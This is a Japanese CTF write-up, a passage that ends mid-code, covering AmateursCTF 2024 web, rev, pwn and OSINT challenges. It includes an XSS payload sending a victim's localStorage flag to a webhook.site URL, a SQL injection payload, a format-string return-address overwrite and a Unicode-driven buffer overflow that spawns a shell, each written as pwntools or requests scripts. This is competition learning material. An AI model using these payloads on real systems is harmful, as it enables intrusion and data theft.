AmateursCTF 2024のやつ

AmateursCTF 2024

一人さびしく参加して66位でした.楽しかったです.

denied [web]

const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  if (req.method == "GET") return res.send("Bad!");
  res.cookie('flag', process.env.FLAG ?? "flag{fake_flag}")
  res.send('Winner!')
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

GETのメソッド以外でアクセスできればフラグがもらえる.

メソッドについて調べていたらHEADメソッドが見つかった.

developer.mozilla.org t HEADでアクセスするとフラグがもらえた.

curl -X "HEAD" http://denied.amt.rs/ -v 
amateursCTF{s0_m@ny_0ptions...}

one-shot [web]

from flask import Flask, request, make_response
import sqlite3
import os
import re

app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)
flag = open("flag.txt").read()

@app.route("/")
def home():
    return """
    <h1>You have one shot.</h1>
    <form action="/new_session" method="POST"><input type="submit" value="New Session"></form>
    """

@app.route("/new_session", methods=["POST"])
def new_session():
    id = os.urandom(8).hex()
    db.execute(f"CREATE TABLE table_{id} (password TEXT, searched INTEGER)")
    db.execute(f"INSERT INTO table_{id} VALUES ('{os.urandom(16).hex()}', 0)")
    res = make_response(f"""
    <h2>Fragments scattered... Maybe a search will help?</h2>
    <form action="/search" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="query" value="">
        <input type="submit" value="Find">
    </form>
""")
    res.status = 201

    return res

@app.route("/search", methods=["POST"])
def search():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    searched = db.execute(f"SELECT searched FROM table_{id}").fetchone()[0]
    if searched:
        return "you've used your shot."
    
    db.execute(f"UPDATE table_{id} SET searched = 1")

    query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'")
    return f"""
    <h2>Your results:</h2>
    <ul>
    {"".join([f"<li>{row[0][0] + '*' * (len(row[0]) - 1)}</li>" for row in query.fetchall()])}
    </ul>
    <h3>Ready to make your guess?</h3>
    <form action="/guess" method="POST">
        <input type="hidden" name="id" value="{id}">
        <input type="text" name="password" placehoder="Password">
        <input type="submit" value="Guess">
    </form>
"""

@app.route("/guess", methods=["POST"])
def guess():
    id = request.form["id"]
    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"
    result = db.execute(f"SELECT password FROM table_{id} WHERE password = ?", (request.form['password'],)).fetchone()
    if result != None:
        return flag
    
    db.execute(f"DROP TABLE table_{id}")
    return "You failed. <a href='/'>Go back</a>"

@app.errorhandler(500)
def ise(error):
    original = getattr(error, "original_exception", None)
    if type(original) == sqlite3.OperationalError and "no such table" in repr(original):
        return "that table is gone. <a href='/'>Go back</a>"
    return "Internal server error"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

入力に対してのバリデーションは以下のように行っている.

    if not re.match("[1234567890abcdef]{16}", id):
        return "invalid id"

これだと,マッチする文字列の後ろに,任意の文字列を追加したものもマッチする.

>>> not re.match("[1234567890abcdef]{16}","1234567890abcdef")
False
>>> not re.match("[1234567890abcdef]{16}","1234567890abcdef or")
False

これを用いてIDの後にSQL injectionのペイロードを渡すとフラグがもらえるはずだ.

solver.py

import requests
import re

url = "http://one-shot.amt.rs/"

res = requests.post(url + "new_session")
# print(res.text)
m = re.search("[1234567890abcdef]{16}", res.text)

id = m.group(0)
print(id)

payload = id + " WHERE 1 = 1 OR password = ? --"

print(payload)

res = requests.post(url + "guess", data={"id": payload, "password": ""})

print(res.text)

実行したらフラグが得られた.

❯ python3 solver.py
95fce9b1ad95f09f
95fce9b1ad95f09f WHERE 1 = 1 OR password = ? --
<p>amateursCTF{go_union_select_a_life}</p>
<br />
<h3>alternative flags (these won't work) (also do not share):</h3>
<p>
amateursCTF{UNION_SELECT_life_FROM_grass} <br /> 
amateursCTF{why_are_you_endorsing_unions_big_corporations_are_better} <br />
amateursCTF{union_more_like_onion_*cronch*}  <br />
amateursCTF{who_is_this_Niko_everyone_is_talking_about}
</p>
amateursCTF{go_union_select_a_life}

agile-rut [web]

ページのソースを見ると以下の通り.

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>agile rut playground</title>
    <style>
        @font-face {
            font-family: 'Agile Rut';
            src: url('agile-rut.otf');
        }
        * {
            font-family: 'Agile Rut';
        }
        textarea {
            font-size: 24px;
        }
    </style>
</head>

<body>
    <h1>Agile Rut</h1>
    <p>Check out my new font!! isn't it so cool!</p>
    <textarea cols="100" rows="100"></textarea>
</body>

</html>

静的なサイトで,あるフォントのテストページのよう.

フォントをダウンロードしてみてみる.フォント系の問題は大概,リガチャ.

webって感じはしない.

fontforgeで見てみるか,fonttoolsを使う. fontforgeGUIで使いにくかったので,fonttoolsを使った.

hackmd.io

pip install fonttools
ttx agile-rut.otf 

実行すると,agile-rut.ttxというファイルが出力される.

出力されたファイルを見ていると

            <Ligature components="m,a,t,e,u,r,s,c,t,f,braceleft,zero,k,underscore,b,u,t,underscore,one,underscore,d,o,n,t,underscore,l,i,k,e,underscore,t,h,e,underscore,j,b,m,o,n,zero,underscore,equal,equal,equal,braceright" glyph="lig.j.u.s.t.a.n.a.m.e.o.k.xxxxxxxxx.xxxx.x.xxxxxxxxxx.x.x.x.xxxxxxxxxx.xxx.xxxxxxxxxx.x.x.x.x.xxxxxxxxxx.x.x.x.x.xxxxxxxxxx.x.x.x.xxxxxxxxxx.x.x.x.x.x.xxxx.xxxxxxxxxx.xxxxx.xxxxx.xxxxx.xxxxxxxxxx"/>

フラグっぽい

m,a,t,e,u,r,s,c,t,f,braceleft,zero,k,underscore,b,u,t,underscore,one,underscore,d,o,n,t,underscore,l,i,k,e,underscore,t,h,e,underscore,j,b,m,o,n,zero,underscore,equal,equal,equal,braceright

やる.根性か,スクリプトか.chatGPTにやらせた.

フラグのリガチャはかわいい笑顔

amateursctf{0k_but_1_dont_like_the_jbmon0_===}

sculpture [web]

index.html

<html> 
<head> 
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js" type="text/javascript"></script> 
<script src="https://skulpt.org/js/skulpt.min.js" type="text/javascript"></script> 
<script src="https://skulpt.org/js/skulpt-stdlib.js" type="text/javascript"></script> 

</head> 

<body> 

<script type="text/javascript"> 
// output functions are configurable.  This one just appends some text
// to a pre element.
function outf(text) { 
    var mypre = document.getElementById("output"); 
    mypre.innerHTML = mypre.innerHTML + text; 
} 
function builtinRead(x) {
    if (Sk.builtinFiles === undefined || Sk.builtinFiles["files"][x] === undefined)
            throw "File not found: '" + x + "'";
    return Sk.builtinFiles["files"][x];
}

// Here's everything you need to run a python program in skulpt
// grab the code from your textarea
// get a reference to your pre element for output
// configure the output function
// call Sk.importMainWithBody()
function runit() { 
   var prog = document.getElementById("yourcode").value; 
   var mypre = document.getElementById("output"); 
   mypre.innerHTML = ''; 
   Sk.pre = "output";
   Sk.configure({output:outf, read:builtinRead}); 
   (Sk.TurtleGraphics || (Sk.TurtleGraphics = {})).target = 'mycanvas';
   var myPromise = Sk.misceval.asyncToPromise(function() {
       return Sk.importMainWithBody("<stdin>", false, prog, true);
   });
   myPromise.then(function(mod) {
       console.log('success');
   },
       function(err) {
       console.log(err.toString());
   });
}

document.addEventListener("DOMContentLoaded",function(ev){
    document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
    runit();
});

</script> 

<h3>Try This</h3> 
<form> 
<textarea id="yourcode" cols="40" rows="10">import turtle

t = turtle.Turtle()
t.forward(100)

print("Hello World")
</textarea><br /> 
<button type="button" onclick="runit()">Run</button> 
</form> 
<pre id="output" ></pre> 
<!-- If you want turtle graphics include a canvas -->
<div id="mycanvas"></div> 

</body> 

</html> 

admin-bot-excerpt.js

// bot powered by the redpwn admin bot ofc
['sculpture', {
    name: 'sculpture',
    timeout: 10000,
    handler: async (url, ctx) => {
      const page = await ctx.newPage()
      console.log(await page.browser().version());
      await page.goto("https://amateurs-ctf-2024-sculpture-challenge.pages.dev/", { timeout: 3000, waitUntil: 'domcontentloaded' })
      await sleep(1000);
      await page.evaluate(() => {
        localStorage.setItem("flag", "amateursCTF{fak3_flag}")
      })
      await sleep(1000);
      console.log("going to " + url)
      await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
      await sleep(1000)
    },
    urlRegex: /^https:\/\/amateurs-ctf-2024-sculpture-challenge\.pages\.dev/,
}]

Adminに,XSSが生じるペイロードでページにアクセスしてもらい,adminのlocalStorageの値を取得する問題.

index.htmlを見てみると,skulptというクライアント側で,pythonを実行できるスクリプトが読み込まれている.

skulpt.org

<script src="https://skulpt.org/js/skulpt.min.js" type="text/javascript"></script> 
<script src="https://skulpt.org/js/skulpt-stdlib.js" type="text/javascript"></script> 

pythonプログラムのアウトプットは以下のように出力される.

   Sk.configure({output:outf, read:builtinRead}); 
function outf(text) { 
    var mypre = document.getElementById("output"); 
    mypre.innerHTML = mypre.innerHTML + text; 
} 

outputをそのままinnerHTMLに入れているのでXSSが発生する.

さらに,codeパラメータにbase64エンコードされたコードがセットされている場合,以下の場所で,アクセスした時点でコードが実行される.

document.addEventListener("DOMContentLoaded",function(ev){
    document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
    runit();
});

特に制約はないので,webhooksiteとかにlocalstorageを投げるXSSするだけ.

以下payload.py

print("<h1>a</h1>")
code = """
let flag = localStorage.getItem("flag");
fetch("https://webhook.site/~~~~~~~/?flag="+flag).then((res)=>{res.text()}).then((t)=>{console.log(t)})
"""
print("<img src=x onerror='" + code + "'>")

solver.py

import requests
import urllib.parse
import base64

url = "https://amateurs-ctf-2024-sculpture-challenge.pages.dev/"
f = open("payload.py")
pycode = f.read()
b = base64.b64encode(pycode.encode())

payload = url + "?code=" + urllib.parse.quote(b.decode())

print(payload)

admin_url = "http://admin-bot.amt.rs/sculpture"
res = requests.post(admin_url, data={"url": payload})
print(res.text)

実行するとフラグがもらえた.

amateursCTF{i_l0v3_wh3n_y0u_can_imp0rt_xss_v3ct0r}

typo [rev]

main.py

import random as RrRrRrrrRrRRrrRRrRRrrRr
RrRrRrrrRrRRrrRRrRRrRrr = int('1665663c', 20)
RrRrRrrrRrRRrrRRrRRrrRr.seed(RrRrRrrrRrRRrrRRrRRrRrr)
arRRrrRRrRRrRRRrRrRRrRr = bytearray(open('flag.txt', 'rb').read())
arRRrrRrrRRrRRRrRrRRrRr = '\r'r'\r''r''\\r'r'\\r\r'r'r''r''\\r'r'r\r'r'r\\r''r'r'r''r''\\r'r'\\r\r'r'r''r''\\r'r'rr\r''\r''r''r\\'r'\r''\r''r\\\r'r'r\r''\rr'
arRRrrRRrRRrRrRrRrRRrRr = [
    b'arRRrrRRrRRrRRrRr',
    b'aRrRrrRRrRr',
    b'arRRrrRRrRRrRr',
    b'arRRrRrRRrRr',
    b'arRRrRRrRrrRRrRR'
    b'arRRrrRRrRRRrRRrRr',
    b'arRRrrRRrRRRrRr',
    b'arRRrrRRrRRRrRr'
    b'arRrRrRrRRRrrRrrrR',
]
arRRRrRRrRRrRRRrRrRRrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr + 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr])
arRRrrRRrRRrRRRrRrRrrRr = lambda aRrRrRrrrRrRRrrRRrRrrRr: bytearray([arRrrrRRrRRrRRRrRrRrrRr - 1 for arRrrrRRrRRrRRRrRrRrrRr in aRrRrRrrrRrRRrrRRrRrrRr])
def arRRrrRRrRRrRrRRrRrrRrRr(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex
arRRRRRRrRRrRRRrRrRrrRr = [arRRrrRRrRRrRrRRrRrrRrRr, arRRRrRRrRRrRRRrRrRRrRr, arRRrrRRrRRrRRRrRrRrrRr]
arRRRRRRrRRrRRRrRrRrrRr = [RrRrRrrrRrRRrrRRrRRrrRr.choice(arRRRRRRrRRrRRRrRrRrrRr) for arRrrrRRrRRrRRRrRrRrrRr in range(128)]
def RrRrRrrrRrRRrrRRrRRrrRr(arr, ar):
    for r in ar:
        arr = arRRRRRRrRRrRRRrRrRrrRr[r](arr)
    return arr
def arRRrrRRrRRrRrRRrRrrRrRr(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])
arrRRrrrrRRrRRRrRrRRRRr = RrRrRrrrRrRRrrRRrRRrrRr(arRRrrRRrRRrRRRrRrRRrRr, arRRrrRrrRRrRRRrRrRRrRr.encode())
arrRRrrrrRRrRRRrRrRRRRr = arRRrrRRrRRrRrRRrRrrRrRr(arRRrrRRrRRrRrRrRrRRrRr, arrRRrrrrRRrRRRrRrRRRRr)
print(arrRRrrrrRRrRRRrRrRRRRr.hex())

output.txt

5915f8ba06db0a50aa2f3eee4baef82e70be1a9ac80cb59e5b9cb15a15a7f7246604a5e456ad5324167411480f893f97e3

タイポどころではない..

とりあえず脳筋ごり押しで,変数名等を置換していった.

import random as random

seed = int("1665663c", 20)
random.seed(seed)
flag = bytearray(open("flag.txt", "rb").read())
regex_ = (
    "\r"
    r"\r"
    "r"
    "\\r"
    r"\\r\r"
    r"r"
    "r"
    "\\r"
    r"r\r"
    r"r\\r"
    "r"
    r"r"
    "r"
    "\\r"
    r"\\r\r"
    r"r"
    "r"
    "\\r"
    r"rr\r"
    "\r"
    "r"
    "r\\"
    r"\r"
    "\r"
    "r\\\r"
    r"r\r"
    "\rr"
)
bytes_table = [
    b"arRRrrRRrRRrRRrRr",
    b"aRrRrrRRrRr",
    b"arRRrrRRrRRrRr",
    b"arRRrRrRRrRr",
    b"arRRrRRrRrrRRrRR" b"arRRrrRRrRRRrRRrRr",
    b"arRRrrRRrRRRrRr",
    b"arRRrrRRrRRRrRr" b"arRrRrRrRRRrrRrrrR",
]
plus_one = lambda x: bytearray([i + 1 for i in x])
minus_one = lambda x: bytearray([i - 1 for i in x])


def exchange_nibble(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex


func_table = [
    exchange_nibble,
    plus_one,
    minus_one,
]
func_table = [random.choice(func_table) for i in range(128)]


def random_actions(arr, ar):
    for r in ar:
        arr = func_table[r](arr)
    return arr


def crypto(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])


c = random_actions(flag, regex_.encode())
c = crypto(bytes_table, c)
print(c.hex())

print(regex_.encode())

あとはこの逆の手順で復号するプログラムを書く.

import random as random

seed = int("1665663c", 20)
random.seed(seed)
regex_ = (
    "\r"
    r"\r"
    "r"
    "\\r"
    r"\\r\r"
    r"r"
    "r"
    "\\r"
    r"r\r"
    r"r\\r"
    "r"
    r"r"
    "r"
    "\\r"
    r"\\r\r"
    r"r"
    "r"
    "\\r"
    r"rr\r"
    "\r"
    "r"
    "r\\"
    r"\r"
    "\r"
    "r\\\r"
    r"r\r"
    "\rr"
)
bytes_table = [
    b"arRRrrRRrRRrRRrRr",
    b"aRrRrrRRrRr",
    b"arRRrrRRrRRrRr",
    b"arRRrRrRRrRr",
    b"arRRrRRrRrrRRrRR" b"arRRrrRRrRRRrRRrRr",
    b"arRRrrRRrRRRrRr",
    b"arRRrrRRrRRRrRr" b"arRrRrRrRRRrrRrrrR",
]
plus_one = lambda x: bytearray([i + 1 for i in x])
minus_one = lambda x: bytearray([i - 1 for i in x])


def exchange_nibble(hex):
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    return hex


func_table = [
    exchange_nibble,
    plus_one,
    minus_one,
]
# func_table = [random.choice(func_table) for i in range(128)]


def random_actions(arr, ar):
    for r in ar:
        arr = func_table[r](arr)
    return arr


def crypto(arr, ar):
    ar = int(ar.hex(), 17)
    for r in arr:
        ar += int(r, 35)
    return bytes.fromhex(hex(ar)[2:])


choosen = [0, 1, 2]

choosen = [random.choice(choosen) for i in range(128)]


def exchange_nibble_rev(hex):
    for list in range(1, len(hex) - 1, 2):
        hex[list], hex[list + 1] = hex[list + 1], hex[list]
    for id in range(0, len(hex) - 1, 2):
        hex[id], hex[id + 1] = hex[id + 1], hex[id]
    return hex


rev_func_table = [
    exchange_nibble_rev,
    minus_one,
    plus_one,
]

rev_func_table = [rev_func_table[i] for i in choosen]


def random_actions_rev(arr, key):
    for r in key[::-1]:
        arr = rev_func_table[r](arr)
    return arr


def to_base_n(number, base):
    # 基数が10より大きい場合、17進数用にaからgの文字列を使います
    digits = "0123456789abcdefghijklmnopq"
    result = ""

    while number > 0:
        # 17で割り、商と余りを求める
        remainder = number % base
        quotient = number // base

        # 余りを対応する文字に変換して結果の先頭に追加
        result = digits[remainder] + result

        # 商を次のループの入力に設定
        number = quotient

    # 結果を返す
    return result


def decrypto(bytes_table, bytes_var):
    # x = int(bytes_var.hex(), 17)
    x = int(bytes_var.hex(), 16)
    for r in bytes_table:
        x -= int(r, 35)
    # print(hex(x)[2:])
    a = to_base_n(x, 17)
    print(a)
    return bytes.fromhex(a)


c = "5915f8ba06db0a50aa2f3eee4baef82e70be1a9ac80cb59e5b9cb15a15a7f7246604a5e456ad5324167411480f893f97e3"
c = bytes.fromhex(c)
m = decrypto(bytes_table, c)
m = random_actions_rev(m, regex_.encode())
print(m)
print(m[::-1])
amateursCTF{4t_l3ast_th15_fl4g_isn7_misspelll3d}'

rev全然できなかった.(

bearsay [pwn]

❯ checksec chal
[*] '/home/trimscash/amateurs/pwn/bearsay/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./lib'

ghidraでデコンパイル

void rep(char param_1,int param_2)

{
  long lVar1;
  long in_FS_OFFSET;
  int local_14;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  for (local_14 = 0; local_14 < param_2; local_14 = local_14 + 1) {
    putchar((int)param_1);
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void box(char param_1,char param_2,int param_3,char *param_4)

{
  long lVar1;
  int iVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  int local_1c;
  int local_18;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  sVar3 = strlen(param_4);
  iVar2 = (int)sVar3;
  rep((int)param_2,iVar2 + 4);
  putchar(10);
  for (local_1c = 0; local_1c < param_3; local_1c = local_1c + 1) {
    putchar((int)param_1);
    rep(0x20,iVar2 + 2);
    putchar((int)param_1);
    putchar(10);
  }
  putchar((int)param_1);
  putchar(0x20);
  printf(param_4);
  putchar(0x20);
  putchar((int)param_1);
  putchar(10);
  for (local_18 = 0; local_18 < param_3; local_18 = local_18 + 1) {
    putchar((int)param_1);
    rep(0x20,iVar2 + 2);
    putchar((int)param_1);
    putchar(10);
  }
  rep((int)param_2,iVar2 + 4);
  putchar(10);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void main(void)

{
  undefined8 uVar1;
  uint uVar2;
  int iVar3;
  char *pcVar4;
  FILE *__stream;
  size_t sVar5;
  long in_FS_OFFSET;
  char local_2018;
  char local_2017;
  char local_2016;
  char local_1018 [4104];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setbuf(_stdout,(char *)0x0);
  uVar1 = rdtsc();
  srand((uint)uVar1);
  while( true ) {
    while( true ) {
      while( true ) {
        printf(&DAT_00102044);
        fgets(&local_2018,0x1000,_stdin);
        pcVar4 = strchr(&local_2018,10);
        if (pcVar4 != (char *)0x0) {
          *pcVar4 = '\0';
        }
        if (local_2018 != '\0') break;
        uVar2 = rand();
        printf("confused bear %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8));
      }
      iVar3 = strcmp("flag",&local_2018);
      if (iVar3 != 0) break;
      if (is_mother_bear != 0xbad0bad) {
        uVar2 = rand();
        printf("ANGRY BEAR %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8));
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      __stream = fopen("./flag.txt","r");
      fgets(local_1018,0x1000,__stream);
      fclose(__stream);
      box(0x7c,0x2d,2,local_1018);
      puts("|\n|\n|");
      uVar2 = rand();
      puts(*(char **)(bears + (ulong)(uVar2 & 3) * 8));
    }
    iVar3 = strcmp("leave",&local_2018);
    if (iVar3 == 0) {
      uVar2 = rand();
      printf("lonely bear... %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8));
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    if (((local_2018 == 'm') && (local_2017 == 'o')) && (local_2016 == 'o')) break;
    sVar5 = strlen(&local_2018);
    box(0x2a,0x2a,0,&local_2018);
    rep(0x20,(int)sVar5 / 2);
    puts("|");
    uVar2 = rand();
    pcVar4 = *(char **)(bears + (ulong)(uVar2 & 3) * 8);
    rep(0x20,(int)sVar5 / 2);
    puts(pcVar4);
  }
  puts("no.");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

観るとわかる通り,box関数に書式文字列攻撃ができる.

box関数

  putchar(0x20);
  printf(param_4);
  putchar(0x20);

param_4はmainの&local_2018であり,これはユーザからの入力なので,%1$llxやらを入力すればレジスターやスタックの値を見れる.

ソースを見たり,gdbで実験すればわかる通り,以下のように入力すれば,左からcanarybase addrret addrがわかる.

❯ ./chal
🧸 say: %13$llx,%14$llx,%15$llx
***************************
* 8134954c383e9a00,7ffc0b834330,55ff531c2678 *
***************************

これにより,任意のスタックのアドレスをスタックに入力時に積むことができ,それを%hhnで指定することで,スタックの任意の1byteに値を書き込むことができる.

以下solver.py

from pwn import *

io = remote("chal.amt.rs", 1338)
# io = process("./chal")
# io = gdb.debug("./chal", "b *box+180\nc")

payload = b",%13$llx,%14$llx,%15$llx,"

io.sendlineafter(b"say:", payload)

res = io.recvuntil(b"|")

leaks = res.decode().split(",")[1:-1]
print(leaks)

main_addr = int(leaks[2], 16) - 702  # (<main+702>:
stackbase_addr = int(leaks[1], 16)

box_retaddr_addr = stackbase_addr - 0x2048

win_addr = main_addr + 0x126

print(hex(win_addr))

buf_offset = 22
format_str_len = 20
buf_addrs_offset = buf_offset + format_str_len

payload = b""

prev = 0
c = 0
for i in p64(win_addr):
    print(i)
    t = (i - prev) % 256
    if t == 0:
        t = 256
    payload += f"%{t}c%{c+buf_addrs_offset}$hhn".encode("utf-8")
    prev = i
    c += 1

payload += b"a" * ((format_str_len * 8) - len(payload))
print(payload)

for i in range(8):
    payload += p64(box_retaddr_addr + i)

io.sendlineafter(b"say:", payload)

io.interactive()

実行するとフラグが得られた.

amateursCTF{bearsay_mooooooooooooooooooo?} 

buffer-overflow

chal.rs

use std::mem::ManuallyDrop;
use std::ptr;
use std::slice;
use std::str;

#[inline(never)]
#[no_mangle]
pub extern "C" fn uppercase(src: *const u8, srclen: usize, dst: *mut u8) {
    unsafe {
        let upper = ManuallyDrop::new(
            str::from_utf8(slice::from_raw_parts(src, srclen))
                .unwrap()
                .to_uppercase(),
        );
        let bytes = upper.as_bytes();

        let bytes_ptr = bytes.as_ptr();

        ptr::copy_nonoverlapping(bytes_ptr, dst, bytes.len());
    }
}

実行すると大文字にしてくれる.Cで以上のrustの関数を呼んでいる.

tomoyuki-nakabayashi.github.io

❯ ./chal
a
A
❯ checksec chal     
[*] '/home/trimscash/amateurs/pwn/buffer-overflow/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./lib'

セキュリティ機構はほとんどない.

ghidraでデコンパイル

void win(void)

{
  system("/bin/sh");
  return;
}


undefined8 main(void)

{
  long lVar1;
  undefined8 *puVar2;
  undefined8 uStack_1030;
  undefined8 local_1028 [513];
  char *local_20;
  ssize_t local_18;
  long local_10;
  
  puVar2 = local_1028;
  for (lVar1 = 0x200; lVar1 != 0; lVar1 = lVar1 + -1) {
    *puVar2 = 0;
    puVar2 = puVar2 + 1;
  }
  uStack_1030 = 0x4011db;
  local_18 = read(0,local_1028,0x1000);
  if (local_18 < 0) {
    uStack_1030 = 0x4011ff;
    errx(1,"failed to read input");
  }
  *(undefined *)((long)local_1028 + local_18 + -1) = 0;
  uStack_1030 = 0x401223;
  local_20 = strchr((char *)local_1028,10);
  if (local_20 == (char *)0x0) {
    local_10 = local_18 + -1;
  }
  else {
    *local_20 = '\0';
    local_10 = (long)local_20 - (long)local_1028;
  }
  uStack_1030 = 0x401272;
  uppercase(local_1028,local_10,local_1028);
  uStack_1030 = 0x401281;
  puts((char *)local_1028);
  return 0;
}

見てわかる通り,ユーザーの入力をrustで書かれた関数,uppercaseに入れている.

ここで,to_uppercaseのドキュメントを見てみよう.

doc.rust-lang.org

// Sometimes the result is more than one character: assert_eq!('ß'.to_uppercase().to_string(), "SS");

とのことで,以下が変換表.

www.unicode.org

(今回のシステムではUTF-8なので注意)

入力できる文字数には制限があるので,この仕様を用いて,buf-overflowする.

具体的には,を用いた.

FB17; FB17; 0544 056D; 0544 053D; # ARMENIAN SMALL LIGATURE MEN XEH

www.compart.com

3bytesのこれがto_uppercaseにより,մխになる.

“մ” U+0574 Armenian Small Letter Men Unicode Character

“խ” U+056D Armenian Small Letter Xeh Unicode Character

つまり\xd5\x84\xd4\xbdの4byteになる. これでbuf overflowができる.

あとはret addrを書き換えるだけだが,ここで入力できる値はutf-8の有効なbytesのみ.(無効なbytesを入れるとエラーが出て終わる)

ここで\x40,\x12は大丈夫なのだが,\xa0とかは無効なので単純にはできない.

悩んで適当に文字を見ていたら,2byte目が\xa0である文字があったのでそれを使えばいい.

https://www.compart.com/en/unicode/U+C2A0

しかし,このままだと,rspのが0x10byteの倍数でないので,movapsが使われている,systemに怒られる.

warabanshi.hatenablog.com

gist.github.com

なので,pushした後の,0x4012a1を使う.

\xc2\xa1もある.

www.compart.com

あとはsolver.pyを書く.

from pwn import *

# io = process("./chal")
io = remote("chal.amt.rs", 1337)
# io = gdb.debug("./chal", "b *main+46\nc")

system = 0x4012A1

overflow_len = 6 * 8
buf_len = 0x1000

payload = b"\xEF\xAC\x97" * overflow_len  # ARMENIAN SMALL LIGATURE MEN XEH
payload += b"a" * (buf_len - len(payload) - len(p64(system)) - 1)
payload += b"\xc2" + p64(system)  # c2 a1 슡
print(payload)
io.sendline(payload)

io.interactive()

実行するとシェルが取れた.

amateursCTF{i_love_unicodeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}

pwnはほかにheap問(56 solves)とか,sandbox問(34 solves)と思われる問題があったが,解かなかった(解けなかった).この問題はなぜか30 solvesだった. 難易度の表示がなかったのでこうなっているんだと思われる.(heapから逃げるな

bathroom-break [osint]

I was on an in-state skiing trip with my family when we decided to go out and see some sights. I remember needing to go to the bathroom near where these pictures were taken and then leaving a review. Can you find this review for me?

この近くのトイレを探せばいい.

google 画像検索をすると,以下のページが見つかった.

https://www.reddit.com/r/whereisthis/comments/1bx7tbx/finding_location_from_2_photos/

Hot Creek Geological Site, Mammoth Lakes, CA.らしい.

この近くのトイレのレビューにリンク付きのレビューがあった.

www.google.com

Convenient bathroom. I really like this bathroom, since it's the only one in the area. It's also pretty clean in addition to convenient, which is great. t . l y / p h X h x

t.ly/phXhxにアクセスするとフラグがあった.

amateursCTF{jk_i_lied_whats_a_bathroom_0f9e8d7c6b5a4321}

cherry-blossoms [osint]

average southern californian reacts to DC weather. amazing scenery though at the time. Find the coords of this image! Grader Command: nc chal.amt.rs 1771

main.py

#!/usr/bin/env python3
# modified from HSCTF 10 grader
import json
with open("locations.json") as f:
    locations = json.load(f)
wrong = False
for i, coords in enumerate(locations, start=1):
    x2, y2 = coords
    x, y = map(float, input(f"Please enter the lat and long of the location: ").replace(",","").split(" "))
    # increase if people have issues
    if abs(x2 - x) < 0.0010 and abs(y2 - y) < 0.0010:
        print("Correct! You have successfully determined the position of the camera.")
    else:
        print("Wrong! Try again after paying attention to the picture.")
        wrong = True

if not wrong:
    with open("flag.txt") as f:
        print("Great job, the flag is ",f.read().strip())
else:
    print("Better luck next time ʕ·ᴥ·ʔ")

先日,ワシントンDCで桜祭りがあったとニュースで見た. 調べると桜祭りのマップが出てきた.

www.theurbanatlas.com

後ろにある旗は,ワシントン記念堂のものであると思われる.

www.google.com

www.google.com

これの外周を適当に見ていく.一番それらしいのがここだった.

www.google.com

38.8890507, -77.0335331

正しい座標を入力したらフラグがもらえるサーバーに,その座標を与えたら,フラグがもらえた.

amateursCTF{l00k1ng_l0v3ly_1n_4k}

densely-packed [misc]

drive.google.com

wavファイルが渡される.

聴くとわかるが高速で何かをしゃべっていることがわかる.

wavのファイルヘッダーを書き換えて速度を落とす.

www.youfit.co.jp

以前書いたプログラムを流用した.(かなり適当,無駄がある.

#include <math.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct {
    char id[4];       // "RIFF"
    uint32_t size; // ファイルサイズ-8の数値
    char form[4]; // "WAVE"
} RIFFChunk;

typedef struct {
    char id[4];            // "fmt " スペースも含まれるので注意
    uint32_t size;      // fmt領域のサイズ
